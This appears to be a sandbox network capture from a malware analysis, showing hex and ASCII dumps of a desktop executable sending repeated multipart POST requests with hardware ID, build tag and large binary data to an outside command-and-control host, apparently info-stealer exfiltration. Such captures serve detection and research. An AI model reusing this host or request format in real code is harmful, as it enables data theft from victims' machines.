2024-12-18 14:17:47 UTC	1369	IN	Data Raw: 46 55 37 4c 30 7a 38 69 4f 79 45 43 4f 70 47 35 57 57 57 2b 30 5a 30 4c 47 69 70 64 6d 45 4c 4a 68 47 54 4f 69 37 49 75 4e 52 51 42 33 6b 72 58 75 6c 62 49 4d 54 4b 71 38 56 68 74 6c 4f 73 51 69 65 75 36 58 71 69 74 59 67 6d 30 4a 50 34 4c 38 69 34 52 41 43 55 2b 53 77 4d 76 55 6b 70 42 38 68 70 78 65 65 6c 6c 44 37 46 4e 75 34 72 71 37 55 6d 57 7a 62 41 6b 66 30 38 33 47 70 50 69 6c 6f 6f 5a 51 42 76 54 50 34 42 32 57 6f 47 74 44 42 45 66 4d 53 30 72 53 6d 72 4e 75 61 4a 70 78 4a 54 4f 65 33 4a 65 41 55 43 46 7a 6d 73 44 72 35 49 4c 77 59 4a 71 77 5a 6e 35 5a 5a 76 31 2b 65 75 37 48 71 69 74 59 4a 67 6b 6c 4f 36 76 4d 32 70 77 68 4f 57 75 2f 31 59 37 30 67 76 78 67 6a 71 68 71 52 6e 31 6e 36 47 64 71 39 72 36 7a 52 6d 53 69 51 51 30 2f 6f 76 79 66 6a 45 Data Ascii: FU7L0z8iOyECOpG5WWW+0Z0LGipdmELJhGTOi7IuNRQB3krXulbIMTKq8VhtlOsQieu6XqitYgm0JP4L8i4RACU+SwMvUkpB8hpxeellD7FNu4rq7UmWzbAkf083GpPilooZQBvTP4B2WoGtDBEfMS0rSmrNuaJpxJTOe3JeAUCFzmsDr5ILwYJqwZn5ZZv1+eu7HqitYJgklO6vM2pwhOWu/1Y70gvxgjqhqRn1n6Gdq9r6zRmSiQQ0/ovyfjE
2024-12-18 14:17:47 UTC	1369	IN	Data Raw: 2b 4b 66 6f 6a 73 68 6b 70 71 52 6d 57 6d 46 54 31 48 64 6d 35 6f 71 58 65 31 6d 4c 56 52 56 69 73 36 32 6e 48 47 68 31 4b 34 4c 73 77 36 7a 66 32 41 57 75 32 56 70 65 56 45 61 64 52 33 62 65 69 72 74 4b 61 4c 4a 46 50 51 50 36 38 4c 75 34 59 42 55 2f 70 73 6a 7a 32 4a 4c 30 52 49 37 30 61 6e 6f 74 55 37 51 4f 65 38 75 6d 74 79 74 5a 30 31 58 52 48 2f 4b 4d 71 71 79 41 59 58 76 57 2b 4e 76 46 73 71 56 41 38 37 78 47 63 32 51 6d 2f 46 39 47 31 71 71 58 54 6e 79 43 59 52 30 6e 70 73 69 2f 74 47 77 52 64 35 62 4d 36 2b 43 61 31 48 79 2b 6d 45 5a 69 65 55 75 31 52 6b 50 79 75 73 70 4c 4f 62 4c 78 46 55 75 4b 6a 61 66 5a 66 46 78 33 6b 75 58 75 6c 62 4c 49 55 4b 71 73 52 6e 4a 39 55 2b 52 7a 66 73 36 69 71 33 5a 49 6e 6e 45 52 42 34 62 59 6b 37 51 4d 45 56 75 Data Ascii: +KfojshkpqRmWmFT1Hdm5oqXe1mLVRVis62nHGh1K4Lsw6zf2AWu2VpeVEadR3beirtKaLJFPQP68Lu4YBU/psjz2JL0RI70anotU7QOe8umtytZ01XRH/KMqqyAYXvW+NvFsqVA87xGc2Qm/F9G1qqXTnyCYR0npsi/tGwRd5bM6+Ca1Hy+mEZieUu1RkPyuspLObLxFUuKjafZfFx3kuXulbLIUKqsRnJ9U+Rzfs6iq3ZInnERB4bYk7QMEVu
2024-12-18 14:17:47 UTC	1369	IN	Data Raw: 4c 4c 77 62 4c 36 49 56 6e 35 70 44 2f 68 66 4d 76 4b 53 67 77 4a 77 6e 6b 45 39 4e 34 62 41 76 37 78 6f 43 54 2b 71 31 4f 50 5a 73 2b 46 34 69 74 31 62 49 32 58 4c 6f 42 39 53 37 70 62 7a 5a 6c 79 2b 44 54 31 43 73 2f 57 6e 34 46 68 38 64 75 36 4d 72 36 69 75 70 55 44 7a 76 45 5a 7a 5a 43 62 38 58 31 37 71 75 72 4e 79 45 4b 5a 4e 4e 54 2b 57 36 4c 65 45 53 44 6c 6e 6e 73 6a 37 2b 49 4c 30 5a 4a 71 41 53 6d 5a 64 59 38 46 47 51 2f 4b 36 79 6b 73 35 73 74 46 6c 44 34 4c 35 70 39 6c 38 58 48 65 53 35 65 36 56 73 75 68 41 67 72 78 79 57 6e 56 54 35 47 39 75 38 6f 71 6e 64 6b 69 71 52 54 55 44 6e 75 69 6a 76 46 41 52 57 35 62 67 34 2b 79 72 32 55 47 57 6f 44 74 44 42 45 64 38 4b 30 37 43 75 36 73 33 59 4e 64 56 46 54 4b 7a 72 61 65 49 64 43 6c 72 6a 75 44 6a Data Ascii: LLwbL6IVn5pD/hfMvKSgwJwnkE9N4bAv7xoCT+q1OPZs+F4it1bI2XLoB9S7pbzZly+DT1Cs/Wn4Fh8du6Mr6iupUDzvEZzZCb8X17qurNyEKZNNT+W6LeESDlnnsj7+IL0ZJqASmZdY8FGQ/K6yks5stFlD4L5p9l8XHeS5e6VsuhAgrxyWnVT5G9u8oqndkiqRTUDnuijvFARW5bg4+yr2UGWoDtDBEd8K07Cu6s3YNdVFTKzraeIdClrjuDj
2024-12-18 14:17:47 UTC	299	IN	Data Raw: 53 4b 35 46 62 2b 61 51 50 5a 52 6b 50 79 75 76 4a 4c 4f 62 4b 73 43 55 75 2b 6a 4b 75 59 41 4d 42 32 37 72 41 57 39 4a 36 41 5a 4e 61 77 41 6d 35 52 64 37 69 2b 65 35 50 33 34 67 4d 52 2b 78 31 30 41 38 34 78 6e 71 52 42 4f 42 64 71 73 65 2b 74 73 37 6b 78 72 37 77 54 51 77 52 47 34 45 73 79 75 72 36 6e 45 6c 57 75 72 66 47 66 36 75 53 37 35 46 68 6c 53 6f 2f 74 37 38 6d 7a 75 4a 32 57 6d 45 59 75 49 52 2f 49 42 32 66 79 57 35 4a 4b 4f 62 4d 30 43 64 65 2b 39 4a 2b 34 48 48 78 44 45 6f 7a 48 36 50 4c 45 4a 4b 75 39 59 30 4a 38 52 70 30 4b 51 2f 4b 32 37 6b 73 35 38 78 78 6b 56 76 2b 52 35 75 77 35 41 52 4b 4f 6a 65 36 56 2b 2b 46 34 33 37 30 37 51 33 6c 4c 74 41 39 69 2f 76 36 6d 56 71 42 4b 79 57 45 33 71 70 44 6a 58 4c 77 6c 48 37 72 4d 73 37 47 43 6a Data Ascii: SK5Fb+aQPZRkPyuvJLObKsCUu+jKuYAMB27rAW9J6AZNawAm5Rd7i+e5P34gMR+x10A84xnqRBOBdqse+ts7kxr7wTQwRG4Esyur6nElWurfGf6uS75FhlSo/t78mzuJ2WmEYuIR/IB2fyW5JKObM0Cde+9J+4HHxDEozH6PLEJKu9Y0J8Rp0KQ/K27ks58xxkVv+R5uw5ARKOje6V++F43707Q3lLtA9i/v6mVqBKyWE3qpDjXLwlH7rMs7GCj
2024-12-18 14:17:47 UTC	1369	IN	Data Raw: 32 62 66 32 0d 0a 77 54 49 37 67 48 30 4e 63 52 2b 56 47 47 37 4f 66 71 31 6f 64 73 7a 52 49 53 74 2b 5a 36 76 6b 46 63 51 71 32 73 65 2b 74 73 37 6b 78 72 37 77 54 51 77 52 47 34 45 73 79 75 72 36 6e 45 6c 57 75 72 66 47 37 72 74 53 7a 75 41 55 78 7a 36 4b 45 38 76 57 4c 32 45 57 58 33 4c 39 44 52 45 63 42 66 6e 71 54 70 38 70 4b 6a 4c 35 74 4d 52 2f 71 69 5a 4d 63 57 43 46 6a 6b 70 58 6e 54 4a 36 49 5a 5a 65 46 57 6c 74 6b 4a 72 31 2b 65 75 4c 6a 71 69 73 5a 2b 7a 68 63 54 75 2b 4e 37 39 6c 38 58 48 66 58 31 59 36 39 69 39 67 78 6c 39 31 62 58 6d 6b 50 74 46 39 32 71 71 75 33 73 71 43 2b 44 54 30 2f 6e 73 68 66 58 50 77 4e 63 34 4c 74 35 7a 44 71 37 44 69 61 71 45 61 36 6e 58 2f 67 46 32 62 4b 76 71 70 4c 59 62 4a 6f 43 47 4e 58 7a 59 61 6b 75 51 42 33 Data Ascii: 2bf2wTI7gH0NcR+VGG7Ofq1odszRISt+Z6vkFcQq2se+ts7kxr7wTQwRG4Esyur6nElWurfG7rtSzuAUxz6KE8vWL2EWX3L9DREcBfnqTp8pKjL5tMR/qiZMcWCFjkpXnTJ6IZZeFWltkJr1+euLjqisZ+zhcTu+N79l8XHfX1Y69i9gxl91bXmkPtF92qqu3sqC+DT0/nshfXPwNc4Lt5zDq7DiaqEa6nX/gF2bKvqpLYbJoCGNXzYakuQB3
2024-12-18 14:17:47 UTC	1369	IN	Data Raw: 48 2f 68 54 6e 65 77 57 49 6e 5a 52 37 39 4a 6a 50 4c 70 75 4a 4c 4f 62 4e 4a 42 55 76 36 31 4b 76 38 53 53 57 50 64 6b 6a 58 36 4c 61 41 4f 4b 4b 4d 33 6b 34 68 62 77 53 2f 4c 76 36 65 6b 31 59 41 39 31 51 77 41 34 2f 4e 78 30 46 46 47 48 64 7a 37 65 2b 56 73 37 6c 34 51 72 42 69 65 6e 6b 66 75 58 50 6d 79 72 71 76 45 68 69 47 5a 59 30 50 39 75 57 6d 6e 55 51 67 64 75 2b 64 31 76 53 69 6e 58 6e 33 2f 52 4d 76 4d 41 71 68 42 6a 4b 50 6e 73 35 4b 41 62 4d 30 51 44 71 79 68 61 62 46 52 53 56 37 78 70 7a 33 2b 4f 72 56 5a 47 35 45 7a 68 35 70 42 2b 52 4c 67 67 6f 4b 6d 31 4a 45 32 6b 6b 52 6d 7a 50 4e 6e 71 52 35 4f 42 64 72 31 63 37 30 54 2b 46 34 39 37 30 37 51 72 46 4c 78 48 39 6d 71 75 4f 66 33 67 53 2b 46 52 45 4f 73 2f 57 6e 76 55 56 59 4e 72 66 55 2f Data Ascii: H/hTnewWInZR79JjPLpuJLObNJBUv61Kv8SSWPdkjX6LaAOKKM3k4hbwS/Lv6ek1YA91QwA4/Nx0FFGHdz7e+Vs7l4QrBienkfuXPmyrqvEhiGZY0P9uWmnUQgdu+d1vSinXn3/RMvMAqhBjKPns5KAbM0QDqyhabFRSV7xpz3+OrVZG5Ezh5pB+RLggoKm1JE2kkRmzPNnqR5OBdr1c70T+F49707QrFLxH9mquOf3gS+FREOs/WnvUVYNrfU/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49747	104.21.66.86	443	4176	C:\Users\user\Desktop\ji2xlo1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:17:49 UTC	294	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MVVVI5DJZ7NBBVVVVVVVVVVVVVVVVVV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12940 Host: lev-tolstoi.com
2024-12-18 14:17:49 UTC	12940	OUT	Data Raw: 2d 2d 4d 56 56 56 49 35 44 4a 5a 37 4e 42 42 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 36 30 37 39 42 38 34 36 45 31 34 42 37 32 32 32 31 42 30 46 43 44 30 35 36 41 34 34 35 34 0d 0a 2d 2d 4d 56 56 56 49 35 44 4a 5a 37 4e 42 42 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 56 56 56 49 35 44 4a 5a 37 4e 42 42 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a Data Ascii: --MVVVI5DJZ7NBBVVVVVVVVVVVVVVVVVVContent-Disposition: form-data; name="hwid"D66079B846E14B72221B0FCD056A4454--MVVVI5DJZ7NBBVVVVVVVVVVVVVVVVVVContent-Disposition: form-data; name="pid"2--MVVVI5DJZ7NBBVVVVVVVVVVVVVVVVVVContent-Disposition:
2024-12-18 14:17:54 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:17:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a6cdrsp6e6hf65aabra3ql5eb5; expires=Sun, 13-Apr-2025 08:04:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IvcNnE%2FGmucUhpsGanhR4YwmG3ijfS4B5PTPnFrcL5uook9pabtT0zAR88Lmal0xmtsDTM2ZzkAAyvggzCgXtO8aSVsm0SJ%2F%2Bz6hf9KdQLapDmfd8RTW2Xred7uz08RRx4Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3fc75648884408-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2138&min_rtt=2138&rtt_var=803&sent=12&recv=17&lost=0&retrans=0&sent_bytes=2834&recv_bytes=13892&delivery_rate=1361940&cwnd=201&unsent_bytes=0&cid=05b9cf8a5b7cf6bc&ts=4651&x=0"
2024-12-18 14:17:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:17:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49761	104.21.66.86	443	4176	C:\Users\user\Desktop\ji2xlo1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:17:55 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JG9YBKYFZRJ37RVVV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15102 Host: lev-tolstoi.com
2024-12-18 14:17:55 UTC	15102	OUT	Data Raw: 2d 2d 4a 47 39 59 42 4b 59 46 5a 52 4a 33 37 52 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 36 30 37 39 42 38 34 36 45 31 34 42 37 32 32 32 31 42 30 46 43 44 30 35 36 41 34 34 35 34 0d 0a 2d 2d 4a 47 39 59 42 4b 59 46 5a 52 4a 33 37 52 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 47 39 59 42 4b 59 46 5a 52 4a 33 37 52 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 6e 6f 76 65 6d 62 65 72 Data Ascii: --JG9YBKYFZRJ37RVVVContent-Disposition: form-data; name="hwid"D66079B846E14B72221B0FCD056A4454--JG9YBKYFZRJ37RVVVContent-Disposition: form-data; name="pid"2--JG9YBKYFZRJ37RVVVContent-Disposition: form-data; name="lid"FATE99--november
2024-12-18 14:17:58 UTC	1044	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=34v27n209ardh0ul3dotf76266; expires=Sun, 13-Apr-2025 08:04:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GlkTL8GrtapFNT7ipW%2B4w8g97e0YwL2Z3mKXxBLvGDkcPXvdcHZZykukUvhgT%2FghVXyZ%2BhoMLCbU0bRAP%2Bk0%2FLm8%2BDOWzEh6IJcZvi0cem7d1y2mzsWVsE9IArPAKrFbdh0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3fc77b4aa08c96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1833&min_rtt=1829&rtt_var=695&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16040&delivery_rate=1563169&cwnd=188&unsent_bytes=0&cid=fb483a2fb9703cb3&ts=3019&x=0"
2024-12-18 14:17:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:17:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49771	104.21.66.86	443	4176	C:\Users\user\Desktop\ji2xlo1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:17:59 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KCMPRRNRVFVVVVVVVVVVVVV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19996 Host: lev-tolstoi.com
2024-12-18 14:17:59 UTC	15331	OUT	Data Raw: 2d 2d 4b 43 4d 50 52 52 4e 52 56 46 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 36 30 37 39 42 38 34 36 45 31 34 42 37 32 32 32 31 42 30 46 43 44 30 35 36 41 34 34 35 34 0d 0a 2d 2d 4b 43 4d 50 52 52 4e 52 56 46 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 43 4d 50 52 52 4e 52 56 46 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a Data Ascii: --KCMPRRNRVFVVVVVVVVVVVVVContent-Disposition: form-data; name="hwid"D66079B846E14B72221B0FCD056A4454--KCMPRRNRVFVVVVVVVVVVVVVContent-Disposition: form-data; name="pid"3--KCMPRRNRVFVVVVVVVVVVVVVContent-Disposition: form-data; name="lid"
2024-12-18 14:17:59 UTC	4665	OUT	Data Raw: d7 8a f5 0f 24 a7 7a e5 f8 60 f2 e1 6d d1 73 d5 66 a5 31 16 55 bb 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c Data Ascii: $z`msf1U2+?2+?2+?
2024-12-18 14:18:01 UTC	1045	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7qfcma9hmrh6ukdo6fphhoctpm; expires=Sun, 13-Apr-2025 08:04:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pdRl6fLCQ428xzAtZShd9uokuA%2B5irh4C2OtUWpF61bLt0jijKsQ%2BCr%2FeqKu%2FpQim%2FnTCIatPmE22SX2vzr2TPdGpceCnlzFGiNIXJt9mmlmzb%2BnwfHaB43oEdfZulPD8zI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3fc797198742bf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1613&rtt_var=605&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2835&recv_bytes=20962&delivery_rate=1808049&cwnd=213&unsent_bytes=0&cid=852cf41124d819f2&ts=1963&x=0"
2024-12-18 14:18:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:18:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49782	104.21.66.86	443	4176	C:\Users\user\Desktop\ji2xlo1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:18:04 UTC	291	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J916AMKVVVNFNRVVVVVVVVVVVVVVV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1317 Host: lev-tolstoi.com
2024-12-18 14:18:04 UTC	1317	OUT	Data Raw: 2d 2d 4a 39 31 36 41 4d 4b 56 56 56 4e 46 4e 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 36 30 37 39 42 38 34 36 45 31 34 42 37 32 32 32 31 42 30 46 43 44 30 35 36 41 34 34 35 34 0d 0a 2d 2d 4a 39 31 36 41 4d 4b 56 56 56 4e 46 4e 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 39 31 36 41 4d 4b 56 56 56 4e 46 4e 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d Data Ascii: --J916AMKVVVNFNRVVVVVVVVVVVVVVVContent-Disposition: form-data; name="hwid"D66079B846E14B72221B0FCD056A4454--J916AMKVVVNFNRVVVVVVVVVVVVVVVContent-Disposition: form-data; name="pid"1--J916AMKVVVNFNRVVVVVVVVVVVVVVVContent-Disposition: form-
2024-12-18 14:18:05 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gb4ujqjuk7b5drbb9ut34557a8; expires=Sun, 13-Apr-2025 08:04:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=twwckjBLobYkDLbK6fX2PVXUm8KiSy9PQ2o7XNEkgSSCPUdldImzOYOtNl1%2BwKJqXT3hLovHYXkLdbR1pFghCxijI1YdAmtI7bSN2unGLb9ggfhSnEvJEYUAtT4AVroXwZ4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3fc7b32cdc5e7a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1618&rtt_var=613&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2244&delivery_rate=1776155&cwnd=214&unsent_bytes=0&cid=a1669067f01bd221&ts=1177&x=0"
2024-12-18 14:18:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:18:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49790	104.21.66.86	443	4176	C:\Users\user\Desktop\ji2xlo1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:18:07 UTC	295	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CAJ77ABBJ773RVVVVVVVVVVVVVVVVVV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 594472 Host: lev-tolstoi.com
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: 2d 2d 43 41 4a 37 37 41 42 42 4a 37 37 33 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 36 30 37 39 42 38 34 36 45 31 34 42 37 32 32 32 31 42 30 46 43 44 30 35 36 41 34 34 35 34 0d 0a 2d 2d 43 41 4a 37 37 41 42 42 4a 37 37 33 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 41 4a 37 37 41 42 42 4a 37 37 33 52 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a Data Ascii: --CAJ77ABBJ773RVVVVVVVVVVVVVVVVVVContent-Disposition: form-data; name="hwid"D66079B846E14B72221B0FCD056A4454--CAJ77ABBJ773RVVVVVVVVVVVVVVVVVVContent-Disposition: form-data; name="pid"1--CAJ77ABBJ773RVVVVVVVVVVVVVVVVVVContent-Disposition:
2024-12-18 14:18:07 UTC	15331	OUT	Data Raw: 53 46 9d a2 67 74 3f 60 df 8e 99 f0 7d 5a ca 9a 64 20 eb 86 4f f7 f0 8b 93 c0 c5 16 96 5a c2 16 37 8d 96 0a 3b 3b 34 7b 37 3a f3 8a 2d e9 6c da 25 39 aa 7c c2 3a e7 0a aa 09 9e a1 6a 6f e3 57 c8 27 fc 77 8a dc 1e 4f 91 eb 1c 34 89 cf 50 3b 3b 18 8e dd 9b 0a 97 57 b8 ed 21 77 fb 66 ab d3 62 40 8d ec ef 08 77 b1 5c d5 07 0b 8c 9f 36 07 7f 4b be d3 f0 b1 30 8d 54 d0 7d 3a ba 81 08 1e 14 6f 5f b2 9d 8a d0 81 2b 3d 11 76 db 54 9e 58 82 84 66 ed 87 e2 49 11 87 e2 45 81 dc 18 94 5a 0b a7 9c 76 64 b8 4a 81 24 3b 42 01 7f 33 81 9a 89 cb 33 94 67 9c 4b ed dc d3 a1 3b da 8c 68 3f 93 cd 32 a9 93 80 7e 77 3f e0 34 cf d1 47 4f a2 b8 2f bc 